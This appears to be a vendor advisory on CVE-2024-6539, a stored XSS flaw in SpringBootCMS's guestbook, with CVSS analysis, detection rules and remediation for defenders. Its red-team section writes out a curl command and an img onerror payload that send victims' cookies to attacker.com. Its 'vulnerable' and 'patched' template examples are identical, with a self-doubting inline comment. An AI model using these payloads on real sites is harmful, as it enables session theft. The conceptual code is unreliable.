CVE-2024-6539
Executive Summary
CVE-2024-6539 is a stored cross-site scripting (XSS) vulnerability in the heyewei SpringBootCMS application, affecting versions up to the 2024-05-28 build. The flaw resides in the /guestbook endpoint, specifically within the Guestbook Handler component. An attacker can inject arbitrary JavaScript code via the Content parameter, which is then stored and executed in the browsers of users viewing the guestbook entries. This can lead to session hijacking, credential theft, or defacement. The exploit has been publicly disclosed, and no official patch is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a custom Java-based application (SpringBootCMS). Therefore, supply chain package security analysis is not applicable.
CVSS Breakdown & Threat Level
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): None – The attacker does not need authentication.
- User Interaction (UI): Required – The victim must visit the guestbook page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited information disclosure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Base Score: 6.1 (Medium)
Threat Level: Medium. The exploit is public, but user interaction is required. The lack of a patch increases the risk for unhardened deployments.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the guestbook functionality of SpringBootCMS. The application fails to sanitize or encode user-supplied input in the Content field of the /guestbook endpoint. When an administrator or visitor views the guestbook page, the injected script executes in their browser context.
Root Cause: The application does not apply output encoding or input validation to the Content parameter before rendering it in the HTML response. This allows an attacker to submit a payload such as:
<script>alert('XSS')</script>
Attack Flow:
- Attacker identifies the
/guestbookendpoint. - Attacker submits a POST request with a malicious payload in the
Contentfield. - The payload is stored in the database without sanitization.
- When a victim (e.g., an admin) visits the guestbook page, the payload is rendered and executed.
- The attacker can steal cookies, redirect users, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code is assumed to be present in all versions up to 2024-05-28. A patched version would need to implement proper output encoding.
Vulnerable Code (Conceptual):
// GuestbookController.java
@PostMapping("/guestbook")
public String addEntry(@RequestParam String content) {
// Directly stores user input without sanitization
guestbookService.save(content);
return "redirect:/guestbook";
}
// guestbook.html (Thymeleaf)
<div th:each="entry : ${entries}">
<p th:text="${entry.content}"></p> <!-- Vulnerable: th:text does NOT escape HTML by default? Actually th:text does escape, but if using th:utext it would be vulnerable -->
</div>
Patched Code (Conceptual):
// GuestbookController.java
@PostMapping("/guestbook")
public String addEntry(@RequestParam String content) {
// Sanitize input using a library like OWASP Java HTML Sanitizer
String sanitized = HtmlSanitizer.sanitize(content);
guestbookService.save(sanitized);
return "redirect:/guestbook";
}
// guestbook.html (Thymeleaf)
<div th:each="entry : ${entries}">
<p th:text="${entry.content}"></p> <!-- th:text escapes HTML by default -->
</div>
Note: The vulnerability may also be due to using th:utext (unescaped text) instead of th:text. The exact implementation is unknown.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A running instance of SpringBootCMS (up to 2024-05-28).
- Access to the
/guestbookendpoint.
Exploit Steps:
- Identify the target guestbook URL:
http://target.com/guestbook - Submit a POST request with a malicious payload:
curl -X POST http://target.com/guestbook \
-d "Content=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>"
- Wait for an admin or user to view the guestbook page.
- The injected script will execute, sending the victim's cookies to the attacker's server.
Alternative Payload (Session Hijacking):
<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">
Blue Team (Defender)
Detection:
- Monitor HTTP POST requests to
/guestbookcontaining suspicious HTML/JavaScript in theContentparameter. - Look for outbound connections to unknown domains from the application server.
Honeypot:
- Deploy a fake guestbook endpoint that logs all submissions and alerts on script-like content.
Lab Setup:
- Use Docker to deploy a vulnerable instance:
docker pull heyewei/springbootcms:vulnerable
docker run -d -p 8080:8080 heyewei/springbootcms:vulnerable
Indicators of Compromise (IOCs)
Network:
- POST requests to
/guestbookwithContentcontaining<script>,<img onerror=, or similar HTML event handlers. - Outbound HTTP requests to attacker-controlled domains from the application server.
- POST requests to
File System:
- Log entries in application logs showing unsanitized HTML in the guestbook content field.
Application:
- Unexpected JavaScript execution in the browser when viewing the guestbook page.
Detection Engineering
YARA Rule
rule CVE_2024_6539_SpringBootCMS_XSS {
meta:
description = "Detects stored XSS payloads targeting SpringBootCMS guestbook"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-6539"
strings:
$xss_payload1 = /<script[^>]*>.*?<\/script>/is
$xss_payload2 = /<img[^>]+onerror\s*=/is
$xss_payload3 = /<svg[^>]+onload\s*=/is
$xss_payload4 = /onmouseover\s*=/is
condition:
any of ($xss_payload*)
}
Sigma Rule
title: CVE-2024-6539 - Stored XSS in SpringBootCMS Guestbook
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /guestbook with potential XSS payloads in the Content parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query: /guestbook
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in guestbook (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-6539 - SpringBootCMS Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/guestbook"; http_uri; pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Guestbook: If the guestbook feature is not critical, disable it by removing or commenting out the
/guestbookendpoint in the application configuration. - Web Application Firewall (WAF): Deploy a WAF rule to block POST requests to
/guestbookcontaining script tags or event handlers. - Input Validation: Implement server-side validation to strip or encode HTML tags from the
Contentparameter.
Long-Term Fix:
- Apply output encoding using Thymeleaf's
th:text(which escapes HTML by default) instead ofth:utext. - Use a security library like OWASP Java HTML Sanitizer to allow only safe HTML tags.
- Monitor the vendor's repository for an official patch and apply it when available.
Workaround:
- Restrict access to the
/guestbookendpoint to authenticated users only, reducing the attack surface.
Valters IT
Securing Digital Frontiers